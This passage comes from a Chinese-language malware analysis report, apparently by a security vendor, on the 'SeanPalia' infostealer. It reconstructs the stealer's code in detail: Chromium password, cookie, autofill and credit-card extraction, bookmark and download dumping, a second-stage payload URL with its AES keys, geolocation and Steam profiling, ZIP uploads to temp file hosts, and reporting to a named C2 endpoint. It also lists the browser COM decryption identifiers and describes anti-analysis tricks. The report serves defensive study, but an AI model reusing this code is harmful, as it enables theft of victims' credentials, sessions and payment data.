                      "------------------------------\n" +    
                      `Browser: ${browserName}\n` +    
                      `URL: ${login.origin_url}\n` +    
                      `Username: ${login.username_value}\n` +    
                      `Password: ${password}\n` +    
                      `Date Created: ${formattedDate}\n`    
                    );    
                  }    
                } catch {    
                  // 单个条目处理失败时跳     
                }    
              }    
            } catch {    
              // 浏览器或配置文件处理失败时跳     
            } finally {    
              if (db) {    
                try {    
                  db.close();    
                } catch {    
                  // 关闭数据库失败时跳过    
                }    
              }    
            }    
          }    
        }    
        // 将所有结果写入文     
        if (results.length) {    
          await options.fileSystem.appendFile(    
            passwordFile,    
Buffer.from(results.join(""), "utf8")    
          );    
        }    
      } catch {    
        // 整体处理失败时静默处     
      }    
    }

5.2 Chromium Cookie

功能解析：

1、定位Chromium Cookie数据库 

2、查询host/path/name/expiry/encrypted value 

3、解密Cookie值 

4、以接Netscape Cookie文本格式导出

运行结果：

● 产生网站登录/会话Cookie导出

读取目标/请求目标：

<Browser>\User Data\<Profile>\Network\Cookies

动态参数：

● 目标数据库路径模式：

    ○ <Browser>\User Data\<Profile>\Network\Cookies

● 关键动态依赖：

    ○ encrypted_value

    ○ 对应 profile  masterKey

参数：

● profiles

    ○ 浏览器名、Profile 名、Cookie DB 路径、解 key

● queryCookieRows

    ○ 读取 Cookie

● decryptChromiumSecret

    ○ 解密 encrypted_value

● appendArtifact

    ○ 写入归档文件

代码：

/**    
     * 读取 Cookie DB 并按 profile 导出     
     */    
    async function collectChromiumCookiesByProfileName(profiles: Array<{ browserName: string; profileName: string; cookieDbPath: string; masterKey: Buffer }>, deps) {    
      for (const profile of profiles) {    
        try {    
          // 读取当前 profile  Cookie 数据     
          const rows = await deps.queryCookieRows(profile.cookieDbPath);    
          // 每条 Cookie 都要 encrypted_value 解成明文    
          const text = rows    
            .map((row) => {    
              const value = deps.decryptChromiumSecret(row.encrypted_value, profile.masterKey);    
              return [row.host_key, "TRUE", row.path, row.is_secure ? "TRUE" : "FALSE", row.expires_utc, row.name, value].join("\t");    
            })    
            .join("\n");    
          // 按浏览器 profile 维度落成 Cookie 文本    
          await deps.appendArtifact(`Cookies/${profile.browserName}_${profile.profileName}.txt`, text);    
        } catch {}    
      }    
    }

5.3 Chromium自动填充与信用卡

功能解析：

1、读取Web Data 

2、导出自动填充字段值 

3、同类逻辑还会读取信用卡表和本CVC表并尝试解密

运行结果：

• 产生自动填充数据导出

• 产生信用卡号/CVC导出

读取目标/请求目标：

<Browser>\User Data\<Profile>\Web Data

动态参数：

● 关键动态表 

    ○ autofill

    ○ credit_cards

    ○ local_stored_cvc

● 关键动态依赖：

    ○ 浏览profile路径

    ○ 已恢复的masterKey

参数：

● targets

    ○ 浏览器和Web Data路径

● queryAutofillRows

    ○ 查询自动填充

● appendArtifact

    ○ 写入归档

代码：

/**    
     * 查询 Web Data.autofill 表，导出自动填充项     
     */    
    async function collectChromiumAutofillData(targets: Array<{ browserName: string; webDataPath: string }>, deps) {    
      for (const target of targets) {    
        try {    
          //  Web Data  autofill 表中取自动填充条     
          const rows = await deps.queryAutofillRows(target.webDataPath);    
          // 输出 name / value / count，便于直接看用户保存过哪些表单内     
          const text = rows    
            .map((row) => `Name: ${row.name}\nValue: ${row.value}\nCount: ${row.count}`)    
            .join("\n\n");    
          // 写入 Autofills 归档目录    
          await deps.appendArtifact(`Autofills/${target.browserName}.txt`, text);    
        } catch {}    
      }    
    }

5.4 书签与下载历史

功能解析：

1、解析书签JSON 

2、读取下载历史 

3、把浏览器用户行为痕迹整理进归档

运行结果：

● 产生书签导出

● 产生下载历史导出

读取目标/请求目标：

<Browser>\User Data\<Profile>\Bookmarks    
<Browser>\User Data\<Profile>\History

动态参数：

● 已确认命中路径：

    ○ C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\Bookmarks

    ○ C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\History

● 关键动态记录：

    ○ 书签 roots

    ○ downloads 相关历史记录

参数：

● targets

    ○ 书签文件路径与历史数据库路径

● readJson

    ○ 读取Bookmarks

● flattenBookmarks

    ○ 展平书签

● queryDownloadRows

    ○ 查询下载历史

● appendArtifact

    ○ 写入归档

代码：

/**    
     * 解析 Bookmarks JSON  History.downloads，分别导出书签与下载记录     
     */    
    async function collectChromiumBookmarksAndHistory(targets: Array<{ browserName: string; bookmarksPath: string; historyDbPath: string }>, deps) {    
      for (const target of targets) {    
        try {    
          // 书签保存 JSON 文件中，需要先展开 roots 树结     
          const bookmarkJson = await deps.readJson(target.bookmarksPath);    
          const bookmarks = deps.flattenBookmarks(bookmarkJson?.roots ?? {});    
          await deps.appendArtifact(`Bookmarks/${target.browserName}.txt`, bookmarks.join("\n"));    
        } catch {}    
        try {    
          // 下载历史来自 History SQLite  downloads 记录    
          const downloads = await deps.queryDownloadRows(target.historyDbPath);    
          const downloadText = downloads    
            .map((row) => `URL: ${row.tab_url ?? row.current_path}\nTarget: ${row.target_path ?? ""}`)    
            .join("\n\n");    
          await deps.appendArtifact(`Downloads/${target.browserName}.txt`, downloadText);    
        } catch {}    
      }    
    }

这一部分在代码内部对应一条标准的“第二阶段载荷处理链”：先用一组内置参数通过AES-256-GCM解出真实下载URL，再对远程返回的Base64文本做解码，并继续走AES-256-CBC解出最终的PE。主程序本身负责完成这条下载、解密、装载链， payload2被解出来之后，会继续承担Chromium受保护数据的本地处理任务，例如处理带APPB头的数据、调用浏览器自己的解密能力，以及把这些高价值结果回交主流程。

6.1 第二阶段载荷下载

功能解析：

1、payload里先有一 AES-256-GCM密文 

2、该密文解出后的明文不PE，而是第二阶段下载URL 

3、主代码再对这URL  XHR/HTTP请求，拉取远程第二阶段载荷

运行结果：

• 先得payload2下载URL

• 再取Base64形式的第二阶段远程载

读取目标/请求目标：

AES-256-GCM 解出 URL:    
    GET https://raw.githubusercontent.com/RobertJunas2145/x0x/refs/heads/main/mm

动态参数：

● 阶段A：GCM解出的明URL证据 

    ○ payload2_deep_dumps/0405_decipher_output_update_aes-256-gcm.bin

    ○ 内容：https://raw.githubusercontent.com/RobertJunas2145/x0x/refs/heads/main/mm

● 原始响应文件：

    ○ payload2_deep_dumps/0407_served_payload2_raw_base64.bin

● 原始响应大小 

    ○ 770,777 字节

● 关键XHR事件 

    ○ XHR_OPEN

    ○ XHR_SEND

    ○ PAYLOAD2_XHR_SERVED_LOCAL

参数：

● gcmEncryptedUrl

    ○ payload 内置GCM密文URL

● gcmKey

    ○ 用于解出下载URL的第一阶段 key

● gcmIv

    ○ 用于解出下载URL的第一阶段iv

● httpGet

    ○ 发起第二阶段远程下载

● payload2Url

    ○ 第二阶段载荷URL

代码：

/**    
     * 先用 AES-256-GCM 解出下载 URL，再通过 XHR/HTTP 拉取第二阶段 payload     
     */    
    async function downloadPayload2(deps) {    
      // 第一阶段：GCM 解密得到真正 payload2 下载地址    
      const url = await deps.decryptUrlWithGcm();    
      // 第二阶段：对 URL 发请求；分析环境里可以被 hook 成返回本 c2_mm_payload.bin    
      const payload = deps.serveLocalPayloadIfHooked    
        ? await deps.serveLocalPayloadIfHooked(url)    
        : await deps.httpGet(url);    
      return { url, payload };    
    }

6.2 Base64解码与AES解密

功能解析：

1、先把远程响应当作Base64文本解码成二进制密文 

2、再使AES-256-CBC对该二进制密文做解密 

3、从动态数据看，主代码：payload2至少存在一层明确的对称解密

运行结果：

● 解密后的本地辅助PE模块

读取目标/请求目标：

payload2_deep_dumps/0407_served_payload2_raw_base64.bin    
payload2_deep_dumps/0410_decipher_input_aes-256-cbc.bin    
payload2_deep_dumps/0411_decipher_output_update_aes-256-cbc.bin

动态参数：

● CBC 解密输入 

    ○ 578,064 字节

● CBC 解密输出 

    ○ 578,048 字节

● CBC key 

    ○ payload2_deep_dumps/0408_decipher_key_aes-256-cbc.bin

    ○ 长度 32 字节

    ○ hex: 8888e9f69db0abf36046076df1b00bf0fe7e9a9e2583b8791bb172100a4cac58

● CBC iv 

    ○ payload2_deep_dumps/0409_decipher_iv_aes-256-cbc.bin

    ○ 长度16字节

    ○ hex: bbf65d08c9830be0ed3ad56a9e7f48a5

● 解密产物 

    ○ payload2_deep_dumps/0411_decipher_output_update_aes-256-cbc.bin

    ○ MZ 开头

    ○ SHA256: 55e80a984d85bc95cd3b5ac2678e478b966001b270398b0147e7314e9a2126ad

/**    
     * 对第二阶 payload 执行 Base64 解码，再 AES-256-CBC 解密，得 Windows PE     
     */    
    async function decodeAndDecryptPayload2(base64Payload: string, deps) {    
      // 第一层：Base64 文本转二进制输入    
      const encryptedBuffer = deps.base64ToBuffer(base64Payload);    
      // 第二层：AES-256-CBC 解密；现有证据显示输出以 MZ 开头， PE    
      const key = await deps.getPayload2Key();    
      const iv = await deps.getPayload2Iv();    
      return deps.aes256CbcDecrypt(encryptedBuffer, key, iv);    
    }

这一部分在代码内部会主动发起外部查询并做本地存在性探测。它先通过 ipify/ipapi获取公网IP、城市、国家、ASN、运营商等信息，再检Riot、Minecraft、Epic、Steam、Telegram、FileZilla、AnyDesk、RustDesk 等路径是否存在；如果命中Steam，还会继续读loginusers.vdf，提 SteamID并调Steam Web API拉玩家资料、已拥有游戏和等级。此部分并非直接实施账号窃取行为，而是通过对目标主机进行标记，向攻击者提示该主机的价值及需重点关注的方向。

7.1 公网IP/地理画像

功能解析：

1、请求ipify取公IP 

2、再请ipapi取地理位置、ASN、运营商等画像

3、失败时回退到全字段N/A

运行结果：

● 形成受害者公IP和地理画像摘要

读取目标/请求目标：

GET https://api.ipify.org?format=json    
GET https://ipapi.co/<ip>/json/

动态参数：

● 关键动态字段：

    ○ ip

    ○ city

    ○ region

    ○ country_name

    ○ asn

    ○ org

参数：

● http

    ○ 发起外部HTTP请求的客户端

● timeoutMs

    ○ 请求超时时间

代码：

/**    
     * 先调 ipify 获取公网 IP，再 ipapi 获取地域/ASN/运营商画像     
     */    
    async function fetchPublicIpProfile(deps) {    
      try {    
        // 没有 Steam  loginusers.vdf 就直接结     
        if (    
          !deps.fs.existsSync("C:\\Program Files (x86)\\Steam") ||    
          !deps.fs.existsSync("C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf")    
        ) {    
          return;    
        }    
        //  loginusers.vdf 中提取所有匹配的 SteamID64    
        const loginUsers = deps.fs.readFileSync(    
          "C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf",    
          "utf-8"    
        );    
        const steamIds = loginUsers.match(/7656[0-9]{13}/g) || [];    
        // 对每 SteamID 并发拉玩家资料、拥有游戏和 Steam 等级    
        const results = await Promise.allSettled(    
          steamIds.map(async (steamId) => {    
            const [playerSummary, ownedGames, steamLevel] = await Promise.all([    
              deps.http.get(    
                "https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F902&steamids=" +    
                  steamId    
              ),    
              deps.http.get(    
                "https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +    
                  steamId    
              ),    
              deps.http.get(    
                "https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +    
                  steamId    
              ),    
            ]);    
            return deps.formatSteamSummary(    
              playerSummary?.data?.response,    
              ownedGames?.data?.response,    
              steamLevel?.data?.response    
            );    
          })    
        );    
        const fulfilled = results    
          .filter((item) => item.status === "fulfilled" && item.value)    
          .map((item: any) => item.value);    
        if (fulfilled.length > 0) {    
          const summaryText =    
            "xilon Steam Session (" + deps.hostLabel + ")</b>\n" + fulfilled.join("\n");    
          await deps.sendSteamSummary(summaryText);    
        }    
      } catch {}    
    }

7.2 游戏/工具存在性探测
功能解析：

1、判断Riot、Minecraft、Epic、Steam、Telegram、FileZilla、AnyDesk、RustDesk是否存在。

2、若有 Steam，会进一步读loginusers.vdf并补玩家资料、已拥有游戏、等级等信息。

C:\ProgramData\Riot Games
%APPDATA%\.minecraft
%APPDATA%\EpicGamesLauncher
C:\Program Files (x86)\Steam
C:\Program Files (x86)\Steam\config\loginusers.vdf
%APPDATA%\Telegram Desktop\tdata
%APPDATA%\FileZilla
%APPDATA%\AnyDesk
%APPDATA%\RustDesk
GET https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=
<apiKey>&steamids=<steamId>
GET https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=
<apiKey>&steamid=<steamId>
GET https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=
<apiKey>&steamid=<steamId>

动态参数：

本地存在性检查结果：

Steam富化前提：

C:\Program Files (x86)\Steam存在

C:\Program Files (x86)\Steam\config\loginusers.vdf存在

参数：

pathExists

检查目标目录或文件是否存在

fs.existsSync

检查Steam根目录和loginusers.vdf

fs.readFileSync

读取loginusers.vdf

http

调Steam Web API

formatSteamSummary

把玩家资料、游戏数量、等级等结果拼成可上报文本

代码:

/**
* 检查本机是否存在高价值游戏、通信工具和远控工具。
*/
async function collectGameAndToolPresence(
deps: {
pathExists: (path: string) => Promise<boolean>;
joinPath: (...parts: string[]) => string;
roamingAppData: string;
}
): Promise<{
riotGames: boolean;
minecraft: boolean;
epicGames: boolean;
steam: boolean;
filezilla: boolean;
Telegram: boolean;
Anydesk: boolean;
Rudesk: boolean;
}> {
const summary = {
riotGames: false,
minecraft: false,
epicGames: false,
steam: false,
filezilla: false,
Telegram: false,
Anydesk: false,
Rudesk: false,
};
try {
// 并发检查样本硬编码关注的路径，结果会被用于主机价值画像
const results = await Promise.all([
deps.pathExists("C:\\ProgramData\\Riot Games"),
deps.pathExists(deps.joinPath(deps.roamingAppData, ".minecraft")),
deps.pathExists(deps.joinPath(deps.roamingAppData, "EpicGamesLauncher")),
Promise.all([
deps.pathExists("C:\\Program Files (x86)\\Steam"),
deps.pathExists("C:\\Program Files 
(x86)\\Steam\\config\\loginusers.vdf"),
]),
deps.pathExists(deps.joinPath(deps.roamingAppData, "Telegram Desktop", 
"tdata")),
deps.pathExists(deps.joinPath(deps.roamingAppData, "FileZilla")),
deps.pathExists(deps.joinPath(deps.roamingAppData, "AnyDesk")),
deps.pathExists(deps.joinPath(deps.roamingAppData, "RustDesk")),
]);
summary.riotGames = results[0];
summary.minecraft = results[1];
summary.epicGames = results[2];
summary.steam = results[3][0] && results[3][1];
    summary.Telegram = results[4];
    summary.filezilla = results[5];
    summary.Anydesk = results[6];
    summary.Rudesk = results[7];
  } catch {}
  return summary;
}

如果本机存在Steam和loginusers.vdf，则进一步补充Steam账号资料:

代码:

async function collectSteamProfileSummary(
  deps: {
    fs: {
      existsSync: (path: string) => boolean;
      readFileSync: (path: string, encoding: string) => string;
    };
    http: {
      get: (url: string) => Promise<any>;
    };
    formatSteamSummary: (playerSummary: any, ownedGames: any, steamLevel: any) => 
string;
    sendSteamSummary: (text: string) => Promise<void>;
    hostLabel: string;
  }
): Promise<void> {
  try {
    // 没有 Steam 或 loginusers.vdf 就直接结束
    if (
 !deps.fs.existsSync("C:\\Program Files (x86)\\Steam") ||
      !deps.fs.existsSync("C:\\Program Files 
(x86)\\Steam\\config\\loginusers.vdf")
    ) {
      return;
    }
    // 从 loginusers.vdf 中提取所有匹配的 SteamID64
    const loginUsers = deps.fs.readFileSync(
      "C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf",
      "utf-8"
    );
    const steamIds = loginUsers.match(/7656[0-9]{13}/g) || [];
    // 对每个 SteamID 并发拉玩家资料、拥有游戏和 Steam 等级
    const results = await Promise.allSettled(
      steamIds.map(async (steamId) => {
        const [playerSummary, ownedGames, steamLevel] = await Promise.all([
          deps.http.get(
            "https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?
key=440D7F4D810EF9298D25EDDF37C1F902&steamids=" +
              steamId
          ),
          deps.http.get( "https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?
key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +
              steamId
          ),
          deps.http.get(
            "https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?
key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +
              steamId
          ),
        ]);
        return deps.formatSteamSummary(
          playerSummary?.data?.response,
          ownedGames?.data?.response,
          steamLevel?.data?.response
        );
      })
    );
    const fulfilled = results
      .filter((item) => item.status === "fulfilled" && item.value)
      .map((item: any) => item.value);
    if (fulfilled.length > 0) {
      const summaryText =
        "xilon Steam Session (" + deps.hostLabel + ")</b>\n" + 
fulfilled.join("\n");
      await deps.sendSteamSummary(summaryText);
    }
  } catch {}
  }

这一部分在代码内部会先读取前面各目录里已经落好的Passwords、Cookies、Autofills、Cards、Bookmarks、Downloads、Wallets、Extension、Private Files等结果，统计数量并取关键字段；再把公IP、机器信息、工具存在性、Steam 摘要Discord token数量拼进最终对象。随后它会生ZIP、调用多个临时文件平台上传归档，并把下载链接、ZIP密码和整份受害者摘要再发给sender-moss这类控制端接口，完成真正的“收集结果出网” 。

8.1 ZIP上传tmpfile.link

功能解析：

1、构multipart/form-data 

2、ZIP作为file字段上传tmpfile.link 

3、返回downloadLink 

4、若失败则返回null

运行结果：

● 得到一个可转交C2或摘要消息的下载链接

读取目标/请求目标：

POST https://tmpfile.link/api/upload    
POST https://temp.sh/upload    
POST https://tempfile.org/api/upload/local    
POST https://upload.gofile.io/uploadfile

动态参数：

● 关键动态参数：

    ○ filename

    ○ contentType: application/zip

    ○ 返回downloadLink

参数：

● [fileName, fileContent]

    ○ 上传文件名和ZIP内容

● FormDataCtor

    ○ multipart表单构造器

● http

    ○ HTTP/Axios客户

代码：

/**    
     * 上传 ZIP 文件：tmpfile.link 并返回下载链接     
     */    
    async function uploadTmpfileLink([fileName, fileContent]: [string, string | Blob], deps) {    
      try {    
        // 组装 multipart/form-data，请求体里只有一 file 字段    
        const formData = new deps.FormDataCtor();    
        formData.append("file", fileContent, {    
          filename: fileName,    
          contentType: "application/zip",    
        });    
        // 把最 ZIP 上传 tmpfile.link    
        const response = await deps.http.post(    
          "https://tmpfile.link/api/upload",    
          formData,    
          {    
            headers: { ...formData.getHeaders() },    
            maxBodyLength: Infinity,    
            maxContentLength: Infinity,    
          }    
        );    
        return response.data?.downloadLink ?? null; 
  } catch {    
        return null;    
      }    
    }

8.2 最终汇总与上报

功能解析：

1、汇总前面所有采集结果的数量和摘要 

2、拼上机器画像、公IP、ASN、城市、国家、工具存在性等环境信息 

3、拼上钱包、扩展、私有文件、token数量 

4、再把ZIP下载地址和密码并进最终结果 

5、把摘要交给后续上报链

运行结果：

● 形成最终受害者画像 

● 为外部上/C2回传提供结构化摘要

读取目标/请求目标：

本地统计目录:    
    Passwords    
    Cookies    
    Autofills    
    Cards    
    Bookmarks    
    Downloads    
    Wallets    
    Extension    
    Private Files    
    下载第二阶段 payload:    
    GET https://raw.githubusercontent.com/RobertJunas2145/x0x/refs/heads/main/mm    
    临时文件上传:    
    POST https://temp.sh/upload    
    POST https://tmpfile.link/api/upload    
    POST https://tempfile.org/api/upload/local    
    POST https://upload.gofile.io/uploadfile    
    C2 / 上报:    
    POST https://api.hypercoreengine.com/sender-moss

动态参数：

● 环境画像输入 

    ○ host

    ○ os

    ○ cpu

    ○ gpu

    ○ ramGb

    ○ hwid

    ○ publicIp

    ○ country

    ○ city

    ○ asn

    ○ org

● 本地统计输入 

    ○ Passwords

    ○ Cookies

    ○ Autofills

    ○ Cards

    ○ Bookmarks

    ○ Downloads

    ○ Wallets

    ○ Extension

    ○ Private Files

● 关键外传参数 

    ○ zipDownloadLink

    ○ zipPassword

参数：

● 各类统计函数

    ○ 密码、Cookie、Autofill、Cards、Bookmarks、Downloads

● 环境画像函数

    ○ 公网IP、机器信息、工具存在性、Steam摘要

● 资产计数函数

    ○ 钱包、扩展、私有文件、Discord token

● getZipUploadResult

    ○ 读取ZIP上传返回

● sendSummary

    ○ 发送最终摘要

代码：

/**    
     * 从各个归档目录和环境探针结果里汇总出一份结构化受害者摘要，并交给上报链     
     */    
    type FinalBundleSummary = {    
      host: string;    
      os: string;    
      cpu: string;    
      gpu?: string;    
      ramGb: number;    
      hwid: string;    
      publicIp: string;    
      country: string;    
      city: string;    
      asn: string;    
      org: string;    
      passwordCount: number;    
      cookieCount: number;    
      autofillCount: number;    
      cardCount: number;    
      bookmarkCount: number;    
      downloadCount: number;    
      walletCount: number;    
      extensionCount: number;    
      privateFileCount: number;    
      discordTokenCount: number;    
      steamSummary?: string;    
      toolPresence: Record<string, boolean>;    
      zipDownloadLink?: string;    
      zipPassword?: string;    
    };    
    async function collectAndUploadEncryptedArchiveBundle(deps) {    
      // 并发拉取所有已经收集好的计数、环境画像和上传结果    
      const [    
        machine,    
        publicIp,    
        toolPresence,    
        steamSummary,    
        passwordCount,    
        cookieCount,    
        autofillCount,    
        cardCount,    
        bookmarkCount,    
        downloadCount,    
        walletCount,    
        extensionCount,    
        privateFileCount,    
        discordTokenCount,    
        zipResult,    
      ] = await Promise.all([    
        deps.getMachineProfile(),    
        deps.fetchPublicIpProfile(),    
        deps.collectGameAndToolPresence(),    
        deps.collectSteamProfileSummary(),    
        deps.countArtifactEntries("Passwords"),    
        deps.countCollectedCookieLines(),    
        deps.countArtifactEntries("Autofills"),    
        deps.countArtifactEntries("Cards"),    
        deps.countArtifactEntries("Bookmarks"),    
        deps.countArtifactEntries("Downloads"),    
        deps.getWalletArtifactCount(),    
        deps.getExtensionArtifactCount(),    
        deps.getPrivateFileCount(),    
        deps.getDiscoveredDiscordTokenCount(),    
        deps.getZipUploadResult(),    
      ]);    
      // 组装最终上报对     
      const summary: FinalBundleSummary = {    
        host: machine.host,    
        os: machine.os,    
        cpu: machine.cpu,    
        gpu: machine.gpu,    
        ramGb: machine.ramGb,    
        hwid: machine.hwid,    
        publicIp: publicIp?.ip ?? "N/A",    
        country: publicIp?.country ?? "N/A",    
        city: publicIp?.city ?? "N/A",    
        asn: publicIp?.asn ?? "N/A",    
        org: publicIp?.org ?? "N/A",    
        passwordCount,    
        cookieCount,    
        autofillCount,    
        cardCount,    
        bookmarkCount,    
        downloadCount,    
        walletCount,    
        extensionCount,    
        privateFileCount,    
        discordTokenCount,    
        steamSummary,    
        toolPresence,    
        zipDownloadLink: zipResult.downloadLink,    
        zipPassword: zipResult.password,    
      };    
      // 把最终摘要送入后续上报     
      await deps.sendSummary(summary);    
      return summary;    
    }

这一部分对应的是第二阶段本地辅助模块。它本身不是SeanPalia主程序里那条Node.js采集链，而是专门负责处理Chromium系浏览器受保护数据的原生解密组件。当前已经完成的IDA分析表明，这个模块的核心职责包括： 

● 识别目标浏览器类 

    ○ Google Chrome

    ○ Google Chrome Beta

    ○ Brave Browser

    ○ Microsoft Edge

    ○ Avast Secure Browser

● 构造浏览器本地数据路径

    ○ User Data 根目录

    ○ Default / Profile 1-5配置子目录 

    ○ Local State

    ○ Login Data

    ○ Web Data

    ○ History

    ○ Bookmarks

    ○ Cookies

    ○ Local Storage/leveldb

● 读取APPB头的加密数据 

● 调用浏览Elevation Service COM组件执行解密

● 将解密结果交回上层恶意逻辑继续使用

1.1 decrypt_collected_appb_blobs_via_com

这是当前原生模块的主控函数，负责初始Native API，执行反调试与自保护检查，初始COM，枚举受支持浏览器目标，读取APPB blob，并调用浏览 Elevation Service COM接口完成解密，最后汇总结果交给后续流程

1、扫描并识别目标浏览器（Chrome/Chrome Beta/Brave/Edge/Avast） 

2、构造目标数据路径（User Data、Profiles、Local State、Cookies、History等） 

3、读取APPB加密数据块（浏览器保护数据） 

4、调用浏览器本Elevation Service COM组件执行解密 

5、将解密后的结果返回给上层JS/Electron主控进行后续处理 

6、不同的浏览器对应COM他自己的对象

参数说明：

• 无显式参数 

• 该函数主要依赖内部构造的浏览器目标描述、APPB输入缓冲区、COM组件CLSID/IID以及结果树容器完成整条解密链

• 返回值不是最终明文结果本身，而是内部处理结束后的状态值；实际解密结果通过结果树和后续处理流程继续传

对应代码

1.2 resolve_browser_target_descriptor

该函数根据输入浏览器名称构造目标描述对象，填充对应CLSID/IID/User Data/Profile/目标文件片段，是后续路径构造与COM解密调用的适配层。 

参数说明：

● out_descriptor

    ○ 类型：BROWSER_TARGET_DESCRIPTOR *

    ○ 作用：输出浏览器目标描述对象，函数会在这里写入浏览器对应COM标识和路径字

● browser_name

    ○ 类型：浏览器名称对象指针

    ○ 作用：作为输入浏览器标识，用于匹配并决定当前构造哪一类浏览器分支

当前已识别的 `CLSID / IID`：

● Google Chrome

    ○ CLSID：{708860E0-F641-4611-8895-7D867DD3675B}

    ○ IID(primary)：{1BF5208B-295F-4992-B5F4-3A9BB6494838}

    ○ IID(fallback)：{463ABECF-410D-407F-8AF5-0DF35A005CC8}

● Google Chrome Beta

    ○ CLSID：{DD2646BA-3707-4BF8-B9A7-038691A68FC2}

    ○ IID(primary)：{B96A14B8-D0B0-44D8-BA68-2385B2A03254}

    ○ IID(fallback)：样本中同样存在备用IID字段，但当前主链主要使用 Chrome Beta专属IID

● Brave Browser

    ○ CLSID：{576B31AF-6369-4B6B-8560-E4B203A97A8B}

    ○ IID(primary)：{1BF5208B-295F-4992-B5F4-3A9BB6494838}

    ○ IID(fallback)：{F396861E-0C8E-4C71-8256-2FAE6D759CE9}

● Microsoft Edge

    ○ CLSID：{1FCBE96C-1697-43AF-9140-2897C7C69767}

    ○ IID(primary)：{8F7B6792-4D78-4040-BD24-AE5E140FE15D}

    ○ IID(fallback)：{C9C2B807-7731-4F34-81B7-44FF7779522B}

● Avast Secure Browse

    ○ CLSID：{EAD34EE8-8D08-4CA1-ADA3-64754374D811}

    ○ IID(fallback)：{7737BB9F-BAC1-4C71-8296-7C82D7994B6F}

    ○ IID(primary)：当前样本中该分支未像前几类那样拆出第二组独立主IID，主要可稳定确认的是CLSID与一组解密接口标

    ○ 该截图展示的Google Chrome分支对应的浏览器目标描述构造结果

1.3 wipe_image_headers_and_sections

该函数负责清除自PE头和节表，属于明显的反分/自抹痕逻辑

作用说明

• 修改当前模块内存中的PE头和节表内容

• 降低后续静态/动态分析时可以直接恢复的模块结构信息

对应代码图

从攻击链分工上看，可以把它和外层Electron/JS主控区分为两层：

● 外层Electron/JS主控
负责环境探测、关闭浏览器、扫描数据、调用辅助模块、整理数据并上传 

● 当前IDA中的原生模块
负责Chromium系浏览器中原本受保护、不能直接明文读取的数据解出来

因此，这个模块在整条链里的最准确定位是：

SeanPalia主窃密链中的“浏览器本地解密/受保护数据辅助采集模块”

AI模型成钓鱼诱饵 开源资源下载需严格核验来源

官方签名软件遭供应链投毒 政企用户需高度警惕

AI生成内容合规不可松懈 标识规范需平台严格落实

脚本滥用扰乱医疗秩序 挂号系统需强化防护